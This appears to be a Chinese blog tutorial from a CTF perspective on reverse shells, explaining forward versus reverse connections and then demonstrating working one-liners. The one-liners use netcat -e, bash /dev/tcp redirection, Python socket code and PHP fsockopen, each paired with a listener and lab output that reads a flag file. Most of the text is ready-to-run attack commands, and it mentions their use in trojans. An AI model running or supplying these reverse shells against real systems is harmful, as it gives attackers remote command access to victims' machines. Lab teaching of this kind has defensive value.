反弹shell:

简介;

​ 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接:

​ 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接:

​ 反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

​ 对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

​ 反向连接就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

利用netcat反弹shell:

​ 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

1
2
3
4
5
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

​ 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听:

1
netcat -lvvp 2333

目标机主动连接攻击机:

1
netcat <攻击机的IP> 2333 -e /bin/bash

结果:

​ 首先,我在目标机的根目录存放了一个flag文件,之后我尝试在攻击机上读取这个文件:

1
2
3
┌──(root㉿kali)-[~]
└─# cat /flag
flag{Nice_Try_You_Get_The_flag}

​ 之后,我们尝试在攻击机上读取flag文件:

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/home/kali/Desktop]
└─# netcat -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 39610
cat /flag
flag{Nice_Try_You_Get_The_flag}
qwe
ca][

​ 首先在攻击机上监听了一下 2333 端口,然后用目标机建立连接,这个时候,我们发现成功读取了flag文件,后面我还尝试了几个错误的命令,在目标机器上输出了错误信息。

1
2
3
4
┌──(root㉿kali)-[~]
└─# netcat 192.168.209.137 2333 -e /bin/bash
bash: line 2: qwe: command not found
bash: line 3: ca][: command not found

利用Bash反弹shell

​ 直接放代码:

1
2
3
bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1

bash -c "bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1"
  • bash -i 打开一个交互的bash
  • >& 将标准错误输出重定向到标准输出
  • /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
  • 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1

结果:

​ 攻击机上,我们尝试读取了下文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 54426

┌──(root㉿kali)-[~]
└─# cat /flag
cat /flag
flag{Nice_Try_You_Get_The_flag}

┌──(root㉿kali)-[~]
└─# qwe
qwe
bash: qwe: command not found

​ 不过这两个系统都是kali,倒不是很容易看出来区别是啥?不过,还是把flag给都出来了,对了,第一个交互和第二个交互所在的文件夹不同了,这里应该能区分吧。

​ 接下来看看目标机:

1
2
┌──(root㉿kali)-[~]
└─# bash -c "bash -i >& /dev/tcp/192.168.209.137/2333 0>&1"

​ 发现,没有任何输出,连胡乱输入的命令的报错都没有,说明真的重定向了。

Python 脚本反弹shell:

​ 当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<目标机IP>",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

结果:

​ 先看看攻击机的情况吧,这里很明显能看出来被攻击了,还是/bin/sh这个shell:

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 46622
# ls
# cat /flag
flag{Nice_Try_You_Get_The_flag}

​ 目标机器也是,啥输出都没有:

1
2
3
┌──(root㉿kali)-[~]
└─# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.209.137",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本反弹shell:

​ 当然,CTF中最经典的 PHP 不能忘了,老样子,

攻击机监听端口:

1
nc -lvvp 2333

目标机器运行php脚本:

1
php -r '$sock=fsockopen("<攻击机IP地址>",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

结果:

​ 攻击机成功读取到了flag:

1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvvp 2333
listening on [any] 2333 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.209.137] from bogon [192.168.209.130] 36986
# cat /flag
flag{Nice_Try_You_Get_The_flag}

​ 目标机器也没有任何输出:

1
2
┌──(root㉿kali)-[~]
└─# php -r '$sock=fsockopen("192.168.209.137",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

参考:

反弹shell,这一篇就够了

多种姿势反弹shell